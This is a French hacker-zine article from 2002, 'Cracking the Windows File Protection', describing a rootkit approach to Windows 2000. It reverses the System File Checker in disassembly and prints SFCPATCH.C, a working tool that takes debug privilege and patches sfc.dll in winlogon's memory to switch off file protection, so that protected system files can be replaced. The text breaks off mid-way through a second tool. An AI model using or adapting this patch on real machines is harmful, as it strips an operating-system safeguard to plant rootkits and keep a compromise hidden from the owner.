15/07/2002 /*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/ \*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Cracking the Windows File Protection. A Maciavelic Win32 Rootkit Approch, By ThreaT & Crazylord. /*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/ \*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Table des matières ****************** ...I/ Introduction. ..II/ Etude de fonction. ------> 2.a) Présentation de la WFP (Windows File Protection). ------> 2.b) Petite session de reversing dans le SFC (System File Checker). ------> 2.c) Construction d'un outil pour maîtriser la bête. .III/ La pratique. ------> 3.a) Approche rootkital d'un FSP (Fichier Système Protégé). ------> 3.b) Reversing, et construction d'un rootkit dédié au FSP. ------> 3.c) Implémantation de l'anti-WFP, et démonstration d'attaque. ..IV/ Fin. /************************************************************************************** I. INTRODUCTION ***************************************************************************************/ Malgré tout ce qui peut être dit ou pensé, devenir hacker win32 dans le sens propre du terme, c'est à dire étudier le système jusqu'à ses profondeurs les plus extrèmes, est une chose beaucoup plus dificile que ce que la majorité peut penser. Une documentation incomplète, une politique Closed-Source et une communauté peut impliquée dans le domaine accroissent les difficultés du passioné chevronné. Il faut savoir que devenir GOUROU linux / unix est relativement faisable, car la documentation est abondante, et les codes sources consultables très facilement (chose faisant l'une des forces principale de ce système) Mais devenir GOUROU win32 est une toute autre paire de manche, car cela implique des nuits entière à discuter avec son microprocesseur en ASM, chercher des docs obscures (pour la plupart rédigées par Microsoft) et faire face à l'incompréhension collective générée par le fameux windows 98 dont l'architecture est une pure boucherie. Les personnes talentueuses se retrouvent alors face à une communauté montrant du doigt tout ce qui porte le nom de WINDOWS, et de ce fait denigre la technologie NT au même titre que la technologie 9x, malgré le fait que ces 2 systèmes soientt du point de vue architecture complètement >>DIFFERENTS<< ! Pour tenter de redorer le blason des hackers NT, et ainsi apporter notre contribution dans l'approche d'attaque bas niveau de cet OS, cet article va porter sur la corruption du système de protection de fichier implanté dans windows 2000, en essayant d'apporter une solution technique, appuyée d'un petit exemple concret. C'est parti ! /************************************************************************************** II. ETUDE DE FONCTION ***************************************************************************************/ \\\\\\\\\\\\\\\\\\\\\\\\\\ 2.A Présentation de la WFP ////////////////////////// Pour commencer à se mettre dans le bain, faisons un tour sur le site de microsoft pour en savoir un peut plus sur cette fonctionnalité de protection de fichier windows. http://support.microsoft.com/default.aspx?scid=http://www.microsoft.com/intlkb/France/articles /F222/1/93.ASP - Les versions antérieures du système d'exploitation Windows n'empêchent pas les fichiers système partagés d'être écrasés par des programmes d'installation. Une fois que ces modifications sont effectuées, l'utilisateur est souvent confronté à des résultats inattendus, tels que des erreurs de programme ou une instabilité du système d'exploitation. Ce problème concerne plusieurs types de fichiers, plus communément les fichiers de bibliothèques de liaisons dynamiques (.dll) et les fichiers programmes (.exe). Windows 2000 comprend une nouvelle fonctionnalité appelée Protection de fichier Windows qui empêche certains fichiers système contrôlés d'être remplacés. Le remplacement de certains fichiers système contrôlés permet d'éviter des différences entre les versions de fichiers. La Protection de fichier Windows utilise les signatures de fichier et les fichiers catalogue générés par la signature du code pour vérifier si les fichiers système protégés sont des versions Microsoft appropriées. La Protection de fichier Windows ne génère aucune signature. Fonctionnement de la fonctionnalité Protection de fichier Windows ----------------------------------------------------------------- La fonctionnalité Protection de Fichier Windows assure la protection des fichiers système grâce à deux mécanismes (distincts). Le premier mécanisme est traité à l'arrière plan. La Protection de fichier est implémentée lorsque que la modification d'un fichier d'un dossier protégé vous est signalée. À la réception de cette notification, la Protection de fichier Windows détermine quel fichier a subi une modification. Si le fichier est protégé, la Protection de fichier Windows recherche la signature du fichier dans un fichier catalogue pour définir si le nouveau fichier est d'une version correcte de Microsoft. Si ce n'est pas le cas, le fichier est remplacé à partir du dossier Dllcache (s'il se trouve dans le dossier Dllcache) ou à partir du média de distribution. Par défaut, la Protection de fichier Windows affiche la boîte de dialogue suivante à l'administrateur, où 'nom_fichier' est le nom du fichier: #------------------------------------------------------------------------------# | Tentative de remplacement du fichier système protégé 'nom_fichier'. | | Pour conserver la stabilité du système, ce fichier a été restauré | | dans la version correcte de Microsoft. Si un problème se produit | | avec votre application, contactez le support technique de votre revendeur. | #------------------------------------------------------------------------------# Le second mécanisme de protection fourni par la Protection de fichier Windows est l'utilitaire Vérificateur des fichiers système (Sfc.exe). Au terme de l'installation de la partie GUI, l'utilitaire Vérificateur des fichiers système analyse tous les fichiers protégés pour s'assurer qu'ils ne sont pas modifiés par des programmes ayant été installés sans assistance. L'utilitaire Vérificateur des fichiers système parcourt également tous les fichiers catalogue utilisés pour le suivi des versions de fichiers correctes. Si l'un des fichiers catalogue est manquant ou endommagé, la Protection de fichier Windows renomme le fichier catalogue concerné et récupère une version mise en cache de ce fichier à partir du dossier Dllcache. Si une copie mise en cache du fichier catalogue n'est pas disponible dans le dossier Dllcache, la Protection de fichier Windows requiert le support approprié pour récupérer une nouvelle copie du fichier catalogue. L'utilitaire Vérificateur de fichiers système donne la possibilité à l'administrateur d'analyser tous les fichiers protégés pour vérifier leurs versions. L'utilitaire Vérificateur de fichiers système vérifie également et remplit à nouveau le dossier %SystemRoot%\System32\Dllcache. Si le dossier Dllcache est endommagé ou mis hors d'usage, vous pouvez utiliser la commande sfc /scanonce ou sfc /scanboot à l'invite de commande pour réparer le contenu du fichier. Tous les fichiers .sys, .dll, .exe, .ttf, .fon et .ocx qui se trouvent sur le CD-ROM Windows 2000 sont protégés. Toutefois, pour des raisons d'espace disque disponible, il n'est pas souhaitable de conserver toutes les versions des fichiers mis en cache dans le dossier Dllcache sur tous les ordinateurs. Selon la taille de la valeur SFCQuota dans la clé de registre HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon (la taille par défaut est 0xFFFFFFFF ou 400 Mo), la Protection de fichier Windows stocke les versions de fichiers vérifiés et mis en cache dans le dossier Dllcache sur le disque dur. Le paramètre SFCQuota peut être défini dans la taille souhaitée par l'administrateur. Notez que si vous définissez la valeur SFCQuota à 0xFFFFFFFF, la Protection de fichiers Windows met en cache tous les fichiers système protégés (environ 2 700 fichiers). Si une modification de fichier est détectée par la Protection de fichier Windows, le fichier concerné ne se trouve pas dans le dossier Dllcache, et le fichier correspondant utilisé par le système d'exploitation est d'une version correcte, la Protection de fichier Windows copie cette version du fichier dans le dossier Dllcache. Si le fichier concerné utilisé par le système d'exploitation n'est pas d'une version correcte ou que le fichier n'est pas mis en cache dans le dossier Dllcache, la Protection de fichier Windows tente de localiser le support d'installation. Si ce dernier n'est pas détecté, la Protection de fichier Windows invite un administrateur à insérer le support approprié pour remplacer le fichier ou la version du fichier Dllcache. La valeur SFCDllCacheDir ( REG_EXPAND_SZ ) dans la clé de registre HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon précise l'emplacement du dossier Dllcache. Les données par défaut pour la valeur SFCDllCacheDir est %SystemRoot%\System32. La valeur SFCDllCacheDir peut être un chemin d'accès local. Par défaut, la valeur SFCDllCacheDir n'apparaît pas dans la clé de registre HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon . Pour modifier l'emplacement du cache, vous devez ajouter cette valeur. - Hum, voyons ce que nous pouvons tiré d'interessant de tout ceci -> Les binaires de remplacement sont placés dans %systemroot%\system32\dllcache -> Un outil appellé SFC.exe permet de controller les fichiers protégés -> il est possible de manipuler certaines fonctions directement dans la BDR Essayons d'en savoir un peu plus sur cet outil de vérification de fichier C:\>sfc Vérificateur des fichiers Windows Microsoft(R) Windows 2000 Version 5.00 (C) 1999 Microsoft Corp. Tous droits réservés. Vérifie les fichiers système protégés (FSP) et remplace les fichiers de version incorrecte par les versions correctes Microsoft. SFC [/SCANNOW] [/SCANONCE] [/SCANBOOT] [/CANCEL] [/ENABLE] [/PURGECACHE] [/CACHESIZE=x] [/QUIET] /SCANNOW Vérifie tous les FSP immédiatement. /SCANONCE Vérifie tous les FSP une fois au prochain démarrage. /SCANBOOT Vérifie tous les FSP à chaque démarrage. /CANCEL Annule toutes les vérifications en attente des FSP. /QUIET Remplace tous les fichiers de version incorrecte sans notification. /ENABLE Active la Protection de fichiers Windows pour un fonctionnement normal. /PURGECACHE Vide le cache des fichiers et vérifie les FSP immédiatement. /CACHESIZE Définit la taille du cache des fichiers. Nous pouvons noter qu'il nous est possible de désactiver la WFP grace à la commande sfc /cancel. Quelques recherches suplemantaires revèlerons qu'il est aussi possible de désactiver la WFP par une clé de registre, mais la désactivation ne sera effectuée qu'au prochain redémarrage de la machine. Notre but est donc de trouver un moyen de corrompre le vérificateur des fichiers système, afin de manipuler celui ci comme bon nous semble. ok, étudions un peu cela. //////////////////////////////////////////// 2.B Petite session de reversing dans le SFC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Lançons nous avec Crazylord dans le monde merveilleux du SFC, en faisant un petit cheminement des différents appels systèmes invoqués par la WFP. ---------------------------------- --> : call ==> : lance un thread ---------------------------------- winlogon.exe --> sfc_1() SfcBuildDirectoryWatchList() SfcScanProtectedDll() SfcStartProtectedDirectoryWatch() ==> SfcWatchProtectedDirectoriesThread() --> SfcCreateWatchDataEntry() --> NtCreateEvent() --> SfcStartDirWatch() --> RpcpInitRpcServer() --> RpcpStartRpcServer() ==> SfcWatchProtectedDirectoriesWorkerThread() --> NtWaitForMultipleObjects() --> SfcFindProtectedFile() --> SfcQueueValidationRequest() ==> SfcQueueValidationThread() --> NtWaitForMuiltipleObjects() --> pCryptCATAdminAcquireContext() --> SfcOpenFile() --> SfcValidateDll() --> SfcSyncCache() --> SfcRestoreFromCache() --> SfcGetSourceInformation() --> SfcQueueLookForFile() --> SfcQueueAddFileToRestoreQueue() --> SfcQueueCommitRestoreQueue() ==> pSfcRestoreFromMediaWorkerThread() --> SfcQueueResetQueue() --> pSfcHandleAllOrphannedRequests() --> SfcStartDirWatch() --> NtNotifyChangeDirectoryFile() --> NtWaitForSingleObject() ---------------------------------- Nous remarquons dans ce petit schéma d'execution que le thread SfcWatchProtectedDirectoriesWorkerThread() fait un appel à la fonction SfcFindProtectedFile() pour connaitre le prochain fichier à analyser. Pour ceux qui ne possèderaient pas les symbols win2k (moi par exemple), il faut savoir que SfcFindProtectedFile() est une fonction exportée de sfc.dll se situant à l'adresse 76933CD9. - * SfcFindProtectedFile() Referenced by a CALL at Addresses: |:76932B05 , :76932FF9 , :76933443 , :76933D46 , :76934104 |:7693771E :76933CD9 FF742408 push [esp+08] :76933CDD FF742408 push [esp+08] :76933CE1 68E80E9476 push 76940EE8 :76933CE6 E888F7FFFF call 76933473 :76933CEB C20800 ret 0008 - Si nous suivons notre schéma, l'appel de SfcFindProtectedFile() est suivi d'un call de la fonction SfcQueueValidationRequest(). Nous allons regarder parmi les adresses référencées (76932B05,76932FF9,76933443,76933D46, 76934104,7693771E) quelles sont les fonctions faisant un appel à SfcQueueValidationRequest() lors d'un saut conditionnel. Pour information, SfcQueueValidationRequest() est exportée à l'adresse 76933F3A - * SfcQueueValidationRequest() Referenced by a CALL at Addresses: |:76933FD3 , :76934164 | :76933F3A 56 push esi :76933F3B 8B742408 mov esi, dword ptr [esp+08] :76933F3F 6A00 push 00000000 :76933F41 685B0C0000 push 00000C5B :76933F46 6800100000 push 00001000 :76933F4B 8D4608 lea eax, dword ptr [esi+08] :76933F4E FF7610 push [esi+10] :76933F51 50 push eax :76933F52 6A00 push 00000000 :76933F54 6A00 push 00000000 :76933F56 FF7604 push [esi+04] :76933F59 FF36 push dword ptr [esi] - Après une recherche acharnée, on tombe sur ceci :769340FF 8D043F lea eax, dword ptr [edi+edi] :76934102 50 push eax ;<-push la taille du fichier à analyser :76934103 56 push esi ;<-push le nom du fichier à analyser :76934104 E8D0FBFFFF call 76933CD9 ;SfcFindProtectedFile :76934109 85C0 test eax, eax ;<- Si c'est pas bon :7693410B 8945F4 mov dword ptr [ebp-0C], eax :7693410E 743D je 7693414D ; jump to *1=> [...] * Referenced by a (U)nconditional or (C)onditional Jump at Addresses: |:7693410E(C), :7693413D(U) | :7693414D 8B03 mov eax, dword ptr [ebx] ;<=*1 (jump ici) :7693414F 85C0 test eax, eax :76934151 740A je 7693415D ;saute a *2=> :76934153 8B55FC mov edx, dword ptr [ebp-04] :76934156 03D8 add ebx, eax :76934158 E949FFFFFF jmp 769340A6 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:76934151(C) | :7693415D 8B45FC mov eax, dword ptr [ebp-04] ; <=*2 :76934160 83C0E8 add eax, FFFFFFE8 :76934163 50 push eax :76934164 E8D1FDFFFF call 76933F3A ;SfcQueueValidationRequest :76934169 85C0 test eax, eax :7693416B 0F85F3FEFFFF jne 76934064 - Si la fonction SfcFindProtectedFile retourne 0, celle ci passe à travers SfcQueueValidationRequest() La chose qui convient de faire est de patcher comme suit : :76934104 E8D0FBFFFF call 76933CD9 ;SfcFindProtectedFile :76934109 85C0 test eax, eax :7693410B 8945F4 mov dword ptr [ebp-0C], eax :7693410E 753B jne 7693414D ;<- patched Mais SFC.dll est située en shared memory, il est donc impossible de la patcher en dur ! La seul solution est de la patcher directement en mémoire en s'appropriant le debug privilège. ce qui donne : =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SFCPATCH.C =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= #include #include #include "Whl.h" //#pragma comment(lib, "Whl") #define ADDRESS 0x76934110 void usage(char *n) { printf("usage: %s [/p | /u]\n", n); printf("\t/p: patch sfc.dll in memory\n"); printf("\t/u: unpatch sfc.dll in memory\n"); exit(0); } int main(int argc, char **argv) { BOOL mode; PWHL_PROCESS WhlProcess; UCHAR Buffer[2]; UCHAR OldBuffer[2]; printf(" * Sfc.dll 2 byte patch by crazylord :) *\n\n"); if (argc != 2) usage(argv[0]); if (strcmp(argv[1], "/p") == 0) { mode = 0; } else if (strcmp(argv[1], "/u") == 0) { mode = 1; } else usage(argv[0]); if (WhlInit()) { printf(" * debug privilege set\n"); } else { printf("error (%i): %s\n", WhlCurrentAction, WhlError); return(0); } WhlProcess = WhlGetProcessInfo("winlogon.exe"); if (WhlProcess == 0) { printf("error (%i): %s\n", WhlCurrentAction, WhlError); return(0); } // first 2 byte of "mov edi, [eax+10h]" OldBuffer[0] = 0x8b; OldBuffer[1] = 0x78; Buffer[0] = 0x75; Buffer[1] = 0x3b; if (mode == 0) { if (WhlCheckAndWriteProcessMemory(WhlProcess, (PVOID) ADDRESS, OldBuffer, Buffer, 2)) { printf(" * mem patched ! (%i)\n", WhlCurrentAction); } else { printf("error (%i): %s\n", WhlCurrentAction, WhlError); } } else { if (WhlCheckAndWriteProcessMemory(WhlProcess, (PVOID) ADDRESS, Buffer, OldBuffer, 2)) { printf(" * mem patched ! (%i)\n", WhlCurrentAction); } else { printf("error (%i): %s\n", WhlCurrentAction, WhlError); } } if (WhlReadProcessMemory(WhlProcess, (PVOID) 0x76934110, Buffer, 2)) { printf(" * 0x%x: %x%x\n", ADDRESS, Buffer[0], Buffer[1]); } else { printf("error (%i): %s\n", WhlCurrentAction, WhlError); } CloseHandle(WhlProcess->ProcessHandle); free(WhlProcess); return(0); =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= EOF =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= /////////////////////////////////////////////////// 2.C Construction d'un outil pour maitriser la bête. \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Finalisons notre approche d'étude de la WFP en créant un outil s'appuyant sur les fonctions du SFC. Voici la documentation que nous pouvons trouver sur le site de microsoft à ce sujet : - La fonction SfcIsFileProtected détermine si le fichier spécifié est protégé BOOL SfcIsFileProtected( HANDLE RpcHandle, LPCWSTR ProtFileName ); La fonction SfcGetNextProtectedFile restitue la liste complète des fichiers protégés BOOL SfcGetNextProtectedFile( HANDLE RpcHandle, PPROTECTED_FILE_DATA ProtFileData ); ProtFileData est une structure recevant les informations après l'execution de la fonction typedef struct _PROTECTED_FILE_DATA { WCHAR FileName[MAX_PATH]; DWORD FileNumber; } PROTECTED_FILE_DATA, *PPROTECTED_FILE_DATA; - Très bien, laissons crazylord jouer avec ces informations, pour qu'il nous ponde un outil de vérification de fichier protégé :) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SFCUSE.C, by Crazylord =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= #include #include #include typedef struct _PROTECTED_FILE_DATA { WCHAR FileName[MAX_PATH] ; DWORD FileNumber ; } PROTECTED_FILE_DATA, *PPROTECTED_FILE_DATA ; void usage(char *n) { printf("Usage: %s